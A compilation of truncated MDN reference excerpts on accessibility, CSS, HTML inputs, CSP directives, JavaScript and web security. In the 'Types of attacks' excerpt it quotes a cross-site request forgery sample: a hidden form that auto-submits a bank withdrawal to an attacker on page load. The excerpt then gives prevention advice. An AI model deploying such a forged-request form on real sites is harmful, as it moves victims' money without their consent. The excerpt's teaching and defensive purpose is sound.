Using the status role - Accessibility
when the role is added to an element, the browser will send out an accessible status event to assistive technology products which can then notify the user about it.
... fire an accessible status event using the operating system's accessibility api if it supports it.
... assistive technology products should listen for such an event and notify the user accordingly: screen readers may provide a special key to announce the current status, and this should present the contents of any status live region.
ARIA: checkbox role - Accessibility
keyboard interactions key function space activates the checkbox required javascript required event handlers onclick handle mouse clicks that will change the state of the checkbox by changing the value of the aria-checked attribute and the appearance of the checkbox so it appears checked or unchecked to the sighted user onkeypress handle the case where the user presses the space key to change the state of the checkbox by changing the value of the aria-checked attribute and the appearance ...
...checkbox()" onkeypress="changecheckbox()" tabindex="0" aria-labelledby="chk1-label"></span> <label id="chk1-label" onclick="changecheckbox()" onkeypress="changecheckbox()">remember my preferences</label> css [role="checkbox"] { padding:5px; } [aria-checked="true"]::before { content: "[x]"; } [aria-checked="false"]::before { content: "[ ]"; } javascript function changecheckbox(event) { let item = document.getelementbyid('chkpref'); switch(item.getattribute('aria-checked')) { case "true": item.setattribute('aria-checked', "false"); break; case "false": item.setattribute('aria-checked', "true"); break; } } accessibility concerns when the checkbox role is added to an element, the user agent should d...
... when the aria-checked value changes, send an accessible state changed event.
Web accessibility for seizures and physical reactions - Accessibility
this article introduces concepts behind making web content accessibile for those with vestibular disorders, and how to measure and prevent content leading to seizures and / or other physical reactions.
...in its article, "a revised definition of epilepsy" the epilepsy foundation notes that…"a seizure is an event and epilepsy is the disease involving recurrent unprovoked seizures." according to the epilepsy foundation's page "how serious are seizures?" , "sudden unexpected death in epilepsy (sudep) is likely the most common disease-related cause of death in with epilepsy.
... mediaquerylist interface section 4.2 from the csswg.org drafts integrates with the event loop defined in html.
CSS Animations tips and tricks - CSS: Cascading Style Sheets
of course, we also need to add an event handler to our "run" button so it'll actually do something: document.queryselector(".runbutton").addeventlistener("click", play, false); result stopping an animation simply removing the animation-name applied to an element will make it jump or cut to its next state.
... use javascript and clear the animation being used when the animationiteration event fires.
...mation-iteration-count: infinite; } .stopped { animation-name: none; } @keyframes slidein { 0% { margin-left: 0%; } 50% { margin-left: 50%; } 100% { margin-left: 0%; } } <h1 id="watchme">click me to stop</h1> let watchme = document.getelementbyid('watchme') watchme.classname = 'slidein' const listener = (e) => { watchme.classname = 'slidein stopped' } watchme.addeventlistener('click', () => watchme.addeventlistener('animationiteration', listener, false) ) demo https://jsfiddle.net/morenoh149/5ty5a4oy/ ...
Using media queries - CSS: Cascading Style Sheets
only the only operator is used to apply a style only if an entire query matches, and is useful for preventing older browsers from applying selected styles.
...the only operator prevents older browsers from applying the styles.
...} improving compatibility with older browsers the only keyword prevents older browsers that do not support media queries with media features from applying the given styles.
overscroll-behavior - CSS: Cascading Style Sheets
none no scroll chaining occurs to neighbouring scrolling areas, and default scroll overflow behavior is prevented.
... formal definition initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ contain | none | auto ]{1,2} examples preventing an underlying element from scrolling in our overscroll-behavior example (see the source code also), we present a full-page list of fake contacts, and a dialog box containing a chat window.
...this can be prevented by setting overscroll-behavior: none on the <body> element: body { margin: 0; overscroll-behavior: none; } specifications specification status comment css overscroll behavior module level 1the definition of 'overscroll-behavior' in that specification.
Adding captions and subtitles to HTML5 video - Developer guides
{ var listitem = document.createelement('li'); var button = listitem.appendchild(document.createelement('button')); button.setattribute('id', id); button.classname = 'subtitles-button'; if (lang.length > 0) button.setattribute('lang', lang); button.value = label; button.setattribute('data-state', 'inactive'); button.appendchild(document.createtextnode(label)); button.addeventlistener('click', function(e) { // set all buttons to inactive subtitlemenubuttons.map(function(v, i, a) { subtitlemenubuttons[i].setattribute('data-state', 'inactive'); }); // find the language to activate var lang = this.getattribute('lang'); for (var i = 0; i < video.texttracks.length; i++) { // for the 'subtitles-off' button, the first cond...
...it also sets up the required event listeners on the button to toggle the relevant subtitle set on or off.
... initially the menu is hidden by default, so an event listener needs to be added to our subtitles button to toggle it: subtitles.addeventlistener('click', function(e) { if (subtitlesmenu) { subtitlesmenu.style.display = (subtitlesmenu.style.display == 'block' ?
Audio and video manipulation - Developer guides
.video.ended) { return; } this.computeframe(); var self = this; settimeout(function () { self.timercallback(); }, 16); // roughly 60 frames per second }, doload: function() { this.video = document.getelementbyid("my-video"); this.c1 = document.getelementbyid("my-canvas"); this.ctx1 = this.c1.getcontext("2d"); var self = this; this.video.addeventlistener("play", function() { self.width = self.video.width; self.height = self.video.height; self.timercallback(); }, false); }, computeframe: function() { this.ctx1.drawimage(this.video, 0, 0, this.width, this.height); var frame = this.ctx1.getimagedata(0, 0, this.width, this.height); var l = frame.data.length / 4; for (var i = 0; i < l; i++) { v...
...pe="button" value="reset" /> </div> <textarea id="code" class="playable-code"> var myvideo = document.getelementbyid('my-video'); myvideo.playbackrate = 2;</textarea> var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var edit = document.getelementbyid('edit'); var code = textarea.value; function setplaybackrate() { eval(textarea.value); } reset.addeventlistener('click', function() { textarea.value = code; setplaybackrate(); }); edit.addeventlistener('click', function() { textarea.focus(); }) textarea.addeventlistener('input', setplaybackrate); window.addeventlistener('load', setplaybackrate); note: try the playbackrate example live.
...atemediaelementsource(document.getelementbyid("my-video")), filter = context.createbiquadfilter(); audiosource.connect(filter); filter.connect(context.destination); var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var edit = document.getelementbyid('edit'); var code = textarea.value; function setfilter() { eval(textarea.value); } reset.addeventlistener('click', function() { textarea.value = code; setfilter(); }); edit.addeventlistener('click', function() { textarea.focus(); }) textarea.addeventlistener('input', setfilter); window.addeventlistener('load', setfilter); note: unless you have cors enabled, to avoid security issues your video should be on the same domain as your code.
Orientation and motion data explained - Developer guides
summary when using orientation and motion events, it's important to understand what the values you're given by the browser mean.
...there are two coordinate frames to consider when using orientation and motion events: earth coordinate frame the earth coordinate frame is the coordinate frame fixed on the center of the earth; that is, the axes are aligned based on the pull of gravity and the standard magnetic north orientation.
...if you want to detect changes in device orientation in order to compensate, you can use the orientationchange event.
Rich-Text Editing in Mozilla - Developer guides
starting in firefox 3, mozilla also supports internet explorer's contenteditable attribute which allows any element to become editable or non-editable (the latter for when preventing change to fixed elements in an editable environment).
... event handling disabled a further difference for mozilla is that once a document is switched to designmode, all events on that particular document are disabled.
... once designmode is turned off however (as this now seems possible in mozilla 1.5) the events become active again.
Printing - Developer guides
<link href="/path/to/print.css" media="print" rel="stylesheet" /> using media queries to improve layout detecting print requests some browsers (including firefox 6 and later and internet explorer) send beforeprint and afterprint events to let content determine when printing may have occurred.
... note: you can also use window.onbeforeprint and window.onafterprint to assign handlers for these events, but using eventtarget.addeventlistener() is preferred.
...tatus=1,width=350,height=150'); my_window.document.write('<html><head><title>print me</title></head>'); my_window.document.write('<body onafterprint="self.close()">'); my_window.document.write('<p>when you print this window, it will close afterward.</p>'); my_window.document.write('</body></html>'); } </script> </head> <body> <p>to try out the <code>afterprint</code> event, click the link below to open the window to print.
Writing forward-compatible websites - Developer guides
javascript prefix all global variable access in onfoo attributes with “window.” when an event handler content attribute (onclick, onmouseover, and so forth) is used on html element, all name lookup in the attribute first happens on the element itself, then on the element's form if the element is a form control, then on the document, and then on the window (where the global variables you have defined are).
... what this means is that any time you access a global variable in an event handler content attribute, including calling any function declared globally, you can end up with a name collision if a specification adds a new dom property to elements or documents which has the same name as your function or variable, and a browser implements it.
...will have a window.event object available in event handlers.
disabled - HTML: Hypertext Markup Language
often browsers grey out such controls and it won't receive any browsing events, like mouse clicks or focus-related ones.
... this boolean attribute prevents the user from interacting with the button.
... usability browsers display disabled form controls greyed as disabled form controls are immutable, won't receive focus or any browsing events, like mouse clicks or focus-related ones, and aren't submitted with the form.
<details>: The Details disclosure element - HTML: Hypertext Markup Language
WebHTMLElementdetails
events in addition to the usual events supported by html elements, the <details> element supports the toggle event, which is dispatched to the <details> element whenever its state changes between open and closed.
... it is sent after the state is changed, although if the state changes multiple times before the browser can dispatch the event, the events are coalesced so that only one is sent.
... you can use an event listener for the toggle event to detect when the widget changes state: details.addeventlistener("toggle", event => { if (details.open) { /* the element was toggled open */ } else { /* the element was toggled closed */ } }); examples a simple disclosure example this example shows a <details> element with no provided summary.
<input type="checkbox"> - HTML: Hypertext Markup Language
WebHTMLElementinputcheckbox
events change and input supported common attributes checked idl attributes checked, indeterminate and value methods select() value a domstring representing the value of the checkbox.
... var overall = document.queryselector('input[id="enchtbl"]'); var ingredients = document.queryselectorall('ul input'); overall.addeventlistener('click', function(e) { e.preventdefault(); }); for(var i = 0; i < ingredients.length; i++) { ingredients[i].addeventlistener('click', updatedisplay); } function updatedisplay() { var checkedcount = 0; for(var i = 0; i < ingredients.length; i++) { if(ingredients[i].checked) { checkedcount++; } } if(checkedcount === 0) { overall.c...
... { width: 600px; margin: 0 auto; } div { margin-bottom: 10px; } fieldset { background: cyan; border: 5px solid blue; } legend { padding: 10px; background: blue; color: cyan; } javascript var othercheckbox = document.queryselector('input[value="other"]'); var othertext = document.queryselector('input[id="othervalue"]'); othertext.style.visibility = 'hidden'; othercheckbox.addeventlistener('change', () => { if(othercheckbox.checked) { othertext.style.visibility = 'visible'; othertext.value = ''; } else { othertext.style.visibility = 'hidden'; } }); specifications specification status comment html living standardthe definition of '<input type="checkbox">' in that specification.
<input type="hidden"> - HTML: Hypertext Markup Language
WebHTMLElementinputhidden
events none.
... note: the input and change events do not apply to this input type.
...this kind of attack is called a cross site request forgery (csrf); pretty much any reputable server-side framework uses hidden secrets to prevent such attacks.
<input type="number"> - HTML: Hypertext Markup Language
WebHTMLElementinputnumber
events change and input supported common attributes autocomplete, list, placeholder, readonly idl attributes list, value, valueasnumber methods select(), stepup(), stepdown() value any floating-point number, or empty.
...; } and finally, the javascript: let metersinputgroup = document.queryselector('.metersinputgroup'); let feetinputgroup = document.queryselector('.feetinputgroup'); let metersinput = document.queryselector('#meters'); let feetinput = document.queryselector('#feet'); let inchesinput = document.queryselector('#inches'); let switchbtn = document.queryselector('input[type="button"]'); switchbtn.addeventlistener('click', function() { if(switchbtn.getattribute('class') === 'meters') { switchbtn.setattribute('class', 'feet'); switchbtn.value = 'enter height in meters'; metersinputgroup.style.display = 'none'; feetinputgroup.style.display = 'block'; feetinput.setattribute('required', ''); inchesinput.setattribute('required', ''); metersinput.removeattribute('required'...
...lass', 'meters'); switchbtn.value = 'enter height in feet and inches'; metersinputgroup.style.display = 'block'; feetinputgroup.style.display = 'none'; feetinput.removeattribute('required'); inchesinput.removeattribute('required'); metersinput.setattribute('required', ''); feetinput.value = ''; inchesinput.value = ''; } }); after declaring a few variables, an event listener is added to the button to control the switching mechanism.
<input type="password"> - HTML: Hypertext Markup Language
WebHTMLElementinputpassword
value a domstring representing a password, or empty events change and input supported common attributes autocomplete, inputmode, maxlength, minlength, pattern, placeholder, readonly, required, and size idl attributes selectionstart, selectionend, selectiondirection, and value methods select(), setrangetext(), and setselectionrange() value the value attribute contains a domstring whose value is the current c...
... using password inputs password input boxes generally work just like other textual input boxes; the main difference is the obscuring of the content to prevent people near the user from reading the password.
... var ssn = document.getelementbyid("ssn"); var current = document.getelementbyid("current"); ssn.oninput = function(event) { current.innerhtml = ssn.value; } result specifications specification status comment html living standardthe definition of '<input type="password">' in that specification.
<input type="radio"> - HTML: Hypertext Markup Language
WebHTMLElementinputradio
events change and input supported common attributes checked and value idl attributes checked and value methods select() value the value attribute is a domstring containing the radio button's value.
... <input type="radio" id="contactchoice2" name="contact" value="phone"> <label for="contactchoice2">phone</label> <input type="radio" id="contactchoice3" name="contact" value="mail"> <label for="contactchoice3">mail</label> </div> <div> <button type="submit">submit</button> </div> </form> <pre id="log"> </pre> then we add some javascript to set up an event listener on the submit event, which is sent when the user clicks the "submit" button: var form = document.queryselector("form"); var log = document.queryselector("#log"); form.addeventlistener("submit", function(event) { var data = new formdata(form); var output = ""; for (const entry of data) { output = output + entry[0] + "=" + entry[1] + "\r"; }; log.innertext = output; event...
....preventdefault(); }, false); try this example out and see how there's never more than one result for the contact group.
<input type="time"> - HTML: Hypertext Markup Language
WebHTMLElementinputtime
events change and input supported common attributes autocomplete, list, readonly, and step idl attributes value, valueasdate, valueasnumber, and list.
... </p> </form> the javascript code adds code to the time input to watch for the input event, which is triggered every time the contents of an input element change.
... var starttime = document.getelementbyid("starttime"); var valuespan = document.getelementbyid("value"); starttime.addeventlistener("input", function() { valuespan.innertext = starttime.value; }, false); when a form including a time input is submitted, the value is encoded before being included in the form's data.
<track>: The Embed Text Track element - HTML: Hypertext Markup Language
WebHTMLElementtrack
detecting cue changes the underlying texttrack, indicated by the track property, receives a cuechange event every time the currently-presented cue is changed.
... if the track is associated with a media element, using the <track> element as a child of the <audio> or <video> element, the cuechange event is also sent to the htmltrackelement.
... let texttrackelem = document.getelementbyid("texttrack"); texttrackelem.addeventlistener("cuechange", (event) => { let cues = event.target.track.activecues; }); in addition, you can use the oncuechange event handler: let texttrackelem = document.getelementbyid("texttrack"); texttrackelem.oncuechange = (event) => { let cues = event.target.track.activecues; }); examples <video controls poster="/images/sample.gif"> <source src="sample.mp4" type="video/mp4"> <source src="sample.ogv" type="video/ogv"> <track kind="captions" src="samplecaptions.vtt" srclang="en"> <track kind="descriptions" src="sampledescriptions.vtt" srclang="en"> <track kind="chapters" src="samplechapters.vtt" srclang="en"> <track kind="subtitles" src="samplesubtitles_de.vtt" srclang="de"> <tr...
Microdata - HTML: Hypertext Markup Language
this vocabulary defines a standard set of type names and property names, for example, schema.org music event indicates a concert performance, with startdate and location properties to specify the concert's key details.
... in this case, schema.org music event would be the url used by itemtype and startdate and location would be itemprop's that schema.org music event defines.
... commonly used vocabularies: creative works: creativework, book, movie, musicrecording, recipe, tvseries embedded non-text objects: audioobject, imageobject, videoobject event health and medical types: notes on the health and medical types under medicalentity organization person place, localbusiness, restaurant product, offer, aggregateoffer review, aggregaterating action thing intangible major search engine operators like google, microsoft, and yahoo!
HTTP conditional requests - HTTP
such requests can be useful to validate the content of a cache, and sparing a useless control, to verify the integrity of a document, like when resuming a download, or when preventing to lose updates when uploading or modifying a document on the server.
... to prevent this, conditional requests are used.
...to prevent this, conditional requests can be used: by adding if-none-match with the special value of '*', representing any etag.
Using HTTP cookies - HTTP
WebHTTPCookies
this technique helps prevent session fixation attacks, where a third party can reuse a user's session.
...however, do not assume that secure prevents all access to sensitive information in cookies; for example, it can be read by someone with access to the client's hard disk.
... ways to mitigate attacks involving cookies: use the httponly attribute to prevent access to cookie values via javascript.
Cross-Origin Resource Policy (CORP) - HTTP
cross-origin resource policy complements cross-origin read blocking (corb), which is a mechanism to prevent some cross-origin reads by default.
... as this policy is expressed via a response header, the actual request is not prevented—rather, the browser prevents the result from being leaked by stripping the response body.
... usage note: due to a bug in chrome, setting cross-origin-resource-policy can break pdf rendering, preventing visitors from being able to read past the first page of some pdfs.
CSP: base-uri - HTTP
'unsafe-hashes' allows enabling specific inline event handlers.
... if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: child-src - HTTP
'unsafe-hashes' allows to enable specific inline event handlers.
... if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method compared to using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: default-src - HTTP
'unsafe-hashes' allows enabling specific inline event handlers.
... if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: font-src - HTTP
'unsafe-hashes' allows to enable specific inline event handlers.
... if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method compared to using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: form-action - HTTP
'unsafe-hashes' allows enabling specific inline event handlers.
... if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: frame-src - HTTP
'unsafe-hashes' allows to enable specific inline event handlers.
... if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method compared to using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: img-src - HTTP
'unsafe-hashes' allows enabling specific inline event handlers.
... if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: manifest-src - HTTP
'unsafe-hashes' allows to enable specific inline event handlers.
... if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method compared to using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: media-src - HTTP
'unsafe-hashes' allows to enable specific inline event handlers.
... if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method compared to using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: navigate-to - HTTP
'unsafe-hashes' allows enabling specific inline event handlers.
... if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: object-src - HTTP
'unsafe-hashes' allows to enable specific inline event handlers.
... if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method compared to using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: prefetch-src - HTTP
'unsafe-hashes' allows enabling specific inline event handlers.
... if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: style-src-attr - HTTP
'unsafe-hashes' allows enabling specific inline event handlers.
... if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: style-src-elem - HTTP
'unsafe-hashes' allows enabling specific inline event handlers.
... if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method than using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
CSP: worker-src - HTTP
'unsafe-hashes' allows to enable specific inline event handlers.
... if you only need to allow inline event handlers and not inline <script> elements or javascript: urls, this is a safer method compared to using the unsafe-inline expression.
... 'unsafe-inline' allows the use of inline resources, such as inline <script> elements, javascript: urls, inline event handlers, and inline <style> elements.
Content-Security-Policy - HTTP
script-src-attr specifies valid sources for javascript inline event handlers.
... report-to fires a securitypolicyviolationevent.
... other directives block-all-mixed-content prevents loading any assets using http when the page is loaded using https.
Introduction - JavaScript
for example, client-side extensions allow an application to place elements on an html form and respond to user events such as mouse clicks, form input, and page navigation.
... prevent stupid semantics in javascript that trip up beginners.
... prevent code snippets executed in the console from interacting with one-another (e.g., having something created in one console execution being used for a different console execution).
Object.freeze() - JavaScript
a frozen object can no longer be changed; freezing an object prevents new properties from being added to it, existing properties from being removed, prevents changing the enumerability, configurability, or writability of existing properties, and prevents the values of existing properties from being changed.
... in addition, freezing an object also prevents its prototype from being changed.
... the result of calling object.freeze(object) only applies to the immediate properties of object itself and will prevent future property addition, removal or value re-assignment operations only on object.
Object.seal() - JavaScript
the object.seal() method seals an object, preventing new properties from being added to it and marking all existing properties as non-configurable.
...sealing an object prevents new properties from being added and marks all existing properties as non-configurable.
...making all properties non-configurable also prevents them from being converted from data properties to accessor properties and vice versa, but it does not prevent the values of data properties from being changed.
WeakRef - JavaScript
a weakref object lets you hold a weak reference to another object, without preventing that object from getting garbage-collected.
...a weak reference to an object is a reference that does not prevent the object from being reclaimed by the garbage collector.
...that is, you can only "see" an object get reclaimed between turns of the event loop.
Lexical grammar - JavaScript
unicode format-control characters code point name abbreviation description u+200c zero width non-joiner <zwnj> placed between characters to prevent being connected into ligatures in certain languages (wikipedia).
...they can also be used to disable code to prevent it from being executed; this can be a valuable debugging tool.
...*/ console.log('hello world!'); } comment(); you can also use it in the middle of a line, if you wish, although this can make your code harder to read so it should be used with caution: function comment(x) { console.log('hello ' + x /* insert the value of x */ + ' !'); } comment('world'); in addition, you can use it to disable code to prevent it from running, by wrapping code in a comment, like this: function comment() { /* console.log('hello world!'); */ } comment(); in this case, the console.log() call is never issued, since it's inside a comment.
this - JavaScript
but it doesn't matter that the lookup for f eventually finds a member with that name on o; the lookup began as a reference to p.f, so this inside the function takes the value of the object referred to as p.
...it's not exactly dead because it gets executed, but it can be eliminated with no outside effects.) as a dom event handler when a function is used as an event handler, its this is set to the element on which the listener is placed (some browsers do not follow this convention for listeners added dynamically with methods other than addeventlistener()).
...urrenttarget); // true when currenttarget and target are the same object console.log(this === e.target); this.style.backgroundcolor = '#a5d9f3'; } // get a list of every element in the document var elements = document.getelementsbytagname('*'); // add bluify as a click listener so when the // element is clicked on, it turns blue for (var i = 0; i < elements.length; i++) { elements[i].addeventlistener('click', bluify, false); } in an inline event handler when the code is called from an inline on-event handler, its this is set to the dom element on which the listener is placed: <button onclick="alert(this.tagname.tolowercase());"> show this </button> the above alert shows button.
Strict mode - JavaScript
eval code, function code, event handler attributes, strings passed to windowtimers.settimeout(), and related functions are entire scripts, and invoking strict mode in them works as expected.
...ror var infinity = 5; // throws a typeerror // assignment to a non-writable property var obj1 = {}; object.defineproperty(obj1, 'x', { value: 42, writable: false }); obj1.x = 9; // throws a typeerror // assignment to a getter-only property var obj2 = { get x() { return 17; } }; obj2.x = 5; // throws a typeerror // assignment to a new property on a non-extensible object var fixed = {}; object.preventextensions(fixed); fixed.newprop = 'ohai'; // throws a typeerror third, strict mode makes attempts to delete undeletable properties throw (where before the attempt would simply have no effect): 'use strict'; delete object.prototype; // throws a typeerror fourth, strict mode prior to gecko 34 requires that all properties named in an object literal be unique.
...syntax error 197 + 142; var sumwithoctal = 0o10 + 8; console.log(sumwithoctal); // 16 seventh, strict mode in ecmascript 2015 forbids setting properties on primitive values.
Populating the page: how browsers work - Web Performance
your browser requests a dns lookup, which is eventually fielded by a name server, which in turn responds with an ip address.
...if the load includes javascript, that was correctly deferred, and only executed after the onload event fires, the main thread might be busy, and not available for scrolling, touch, and other interactions.
...avoid occupying the main thread, as demonstrated in this webpagetest example: in this example, the dom content load process took over 1.5 seconds, and the main thread was fully occupied that entire time, unresponsive to click events or screen taps.
Web Performance
navigation and resource timingsnavigation timings are metrics measuring a browser's document navigation events.
...that means not running all your startup code in a single event handler on the app's main thread.performance budgetsa performance budget is a limit to prevent regressions.
... frame timing api the performanceframetiming interface provides frame timing data about the browser's event loop.
Privacy, permissions, and information security
good security practices aim to prevent unauthorized access to systems or data, regardless of what the target is.
... modern browsers take steps to help prevent fingerprinting-based attacks by either not allowing information to be accessed or, where the information must be made available, by introducing variations that prevent it from being used for identification purposes.
... description certificate transparency an open standard for monitoring and auditing certificates, creating a database of public logs that can be used to help identify incorrect or malicious certificates content security policy provides the ability to define the extent to which a document's content can be accessed by other devices over the web; used in particular to prevent or mitigate attacks on the server feature policy lets web developers selectively enable, disable, and modify the behavior of certain features and apis both for a document and for subdocuments loaded in <iframe>s <iframe>'s allow attribute technically part of feature policy, the allow attribute on an <iframe> specifies which web features the document in the frame should be ...
Progressive web app structure - Progressive web apps (PWAs)
tp:///\'></a>','-'); content += entry; }; document.getelementbyid('content').innerhtml = content; next, it registers a service worker: if('serviceworker' in navigator) { navigator.serviceworker.register('/pwa-examples/js13kpwa/sw.js'); }; the next code block requests permission for notifications when a button is clicked: var button = document.getelementbyid("notifications"); button.addeventlistener('click', function(e) { notification.requestpermission().then(function(result) { if(result === 'granted') { randomnotification(); } }); }); the last block creates notifications that display a randomly-selected item from the games list: function randomnotification() { var randomitem = math.floor(math.random()*games.length); var notiftitle = game...
...192.png', '/pwa-examples/js13kpwa/icons/icon-256.png', '/pwa-examples/js13kpwa/icons/icon-512.png' ]; var gamesimages = []; for(var i=0; i<games.length; i++) { gamesimages.push('data/img/'+games[i].slug+'.jpg'); } var contenttocache = appshellfiles.concat(gamesimages); the next block installs the service worker, which then actually caches all the files contained in the above list: self.addeventlistener('install', function(e) { console.log('[service worker] install'); e.waituntil( caches.open(cachename).then(function(cache) { console.log('[service worker] caching all: app shell and content'); return cache.addall(contenttocache); }) ); }); last of all, the service worker fetches content from the cache if it is available there, providing offline functionality: s...
...elf.addeventlistener('fetch', function(e) { e.respondwith( caches.match(e.request).then(function(r) { console.log('[service worker] fetching resource: '+e.request.url); return r || fetch(e.request).then(function(response) { return caches.open(cachename).then(function(cache) { console.log('[service worker] caching new resource: '+e.request.url); cache.put(e.request, response.clone()); return response; }); }); }) ); }); the javascript data the games data is present in the data folder in a form of a javascript object (games.js): var games = [ { slug: 'lost-in-cyberspace', name: 'lost in cyberspace', author: 'zosia and bartek', twitter: 'bartaz', website: '', github: 'g...
Structural overview of progressive web apps - Progressive web apps (PWAs)
var button = document.getelementbyid("notifications"); button.addeventlistener('click', function(e) { notification.requestpermission().then(function(result) { if (result === 'granted') { randomnotification(); } }); }); the randomnotification() function follows, rounding out the last of the code in the file: function randomnotification() { var randomitem = math.floor(math.random()*games.length); var notiftitle = games[randomitem].name; var ...
... self.addeventlistener('install', function(e) { console.log('[service worker] install'); e.waituntil( caches.open(cachename).then(function(cache) { console.log('[service worker] caching all: app shell and content'); return cache.addall(contenttocache); }) ); }); with that done, we implement the service worker's fetch event handler; its job is to return the contents of the specified f...
...ile, either from the cache or by loading it over the network (caching it upon doing so): self.addeventlistener('fetch', function(e) { e.respondwith( caches.match(e.request).then(function(r) { console.log('[service worker] fetching resource: '+e.request.url); return r || fetch(e.request).then(function(response) { return caches.open(cachename).then(function(cache) { console.log('[service worker] caching new resource: '+e.request.url); cache.put(e.request, response.clone()); return response; }); }); }) ); }); auxiliary javascript file: games.js the games data for this app example is provided in a javascript source file called games.js.
visibility - SVG: Scalable Vector Graphics
depending on the value of attribute pointer-events, graphics elements which have their visibility attribute set to hidden still might receive events.
...it may receive pointer events depending on the pointer-events attribute, may receive focus depending on the tabindex attribute, contributes to bounding box calculations and clipping paths, and does affect text layout.
... 7.41 8.59 6 10l6 6 6-6z" /> <path d="m12 8l-6 6 1.41 1.41l12 10.83l4.59 4.58l18 14z" class="invisible" /> <path d="m0 0h24v24h0z" fill="none" /> </svg> <span> click me </span> </button> css svg { display: inline !important; } span { vertical-align: 50%; } button { line-height: 1em; } .invisible { visibility: hidden; } javascript document.queryselector("button").addeventlistener("click", function (evt) { this.queryselector("svg > path:nth-of-type(1)").classlist.toggle("invisible"); this.queryselector("svg > path:nth-of-type(2)").classlist.toggle("invisible"); }); specifications specification status comment css level 2 (revision 1)the definition of 'visibility' in that specification.
Subdomain takeovers - Web security
you must cut power at the breaker or fuse box (dns) to prevent the outlet from being used by someone else.
... how can i prevent them?
... preventing subdomain takeovers is a matter of order of operations in lifecycle management for virtual hosts and dns.
Types of attacks - Web security
according to the open web application security project, xss was the seventh most common web app vulnerability in 2017.
...oints that require a post request, it's possible to programmatically trigger a <form> submit (perhaps in an invisible <iframe>) when the page is loaded: <form action="https://bank.example.com/withdraw" method="post"> <input type="hidden" name="account" value="bob"> <input type="hidden" name="amount" value="1000000"> <input type="hidden" name="for" value="mallory"> </form> <script>window.addeventlistener('domcontentloaded', (e) => { document.queryselector('form').submit(); }</script> there are a few techniques that should be used to prevent this from happening: get endpoints should be idempotent—actions that enact a change and do not simply retrieve data should require sending a post (or other http method) request.
... for more prevention tips, see the owasp csrf prevention cheat sheet.
Index - XSLT: Extensible Stylesheet Language Transformations
WebXSLTIndex
the structure of an xml document is designed to reflect and clarify important relationships among the individual aspects of the content itself, unhindered by a need to provide any indication about how this data should eventually be presented.
... 31 <xsl:fallback> element, reference, xslt, fallback the <xsl:fallback> element specifies what template to use if a given extension (or, eventually, newer version) element is not supported.
...to prevent a normally xsl:-prefixed literal result element (which should simply be copied as-is to the result tree) from being misunderstood by the processor, it is assigned a temporary namespace which is appropriately re-converted back to the xslt namespace in the output tree.
Loading Content Scripts - Archive of obsolete content
"ready" loads the scripts after the dom for the page has been loaded: that is, at the point the domcontentloaded event fires.
... "end" loads the scripts after all content (dom, js, css, images) for the page has been loaded, at the time the window.onload event fires.
Communicating using "port" - Archive of obsolete content
var pagemodscript = "window.addeventlistener('click', function(event) {" + " self.port.emit('click', event.target.tostring());" + " event.stoppropagation();" + " event.preventdefault();" + "}, false);" + "self.port.on('warning', function(message) {" + "window.alert(message);" + "});" var pag...
... due to bug 816272 the page-mod's removelistener() function does not prevent the listener from receiving messages that are already queued.
Modules - Archive of obsolete content
to prevent scripts from interfering with each other, loadscript should evaluate each script to be loaded in the scope of their own global object, and then return the global object as its result.
...if the script being loaded is less privileged than the loading script, the access is prevented, as the following example shows: // index.js: let a = loadscript("www.foo.com/a.js", { components: components }); // index.js has chrome privileges components.utils; // => [object nsxpccomponents_utils] // a.js: // a.js has content privileges imports.components.utils; // => undefined modules in the add-on sdk the module system used by the sdk is based on what we learned so far: it foll...
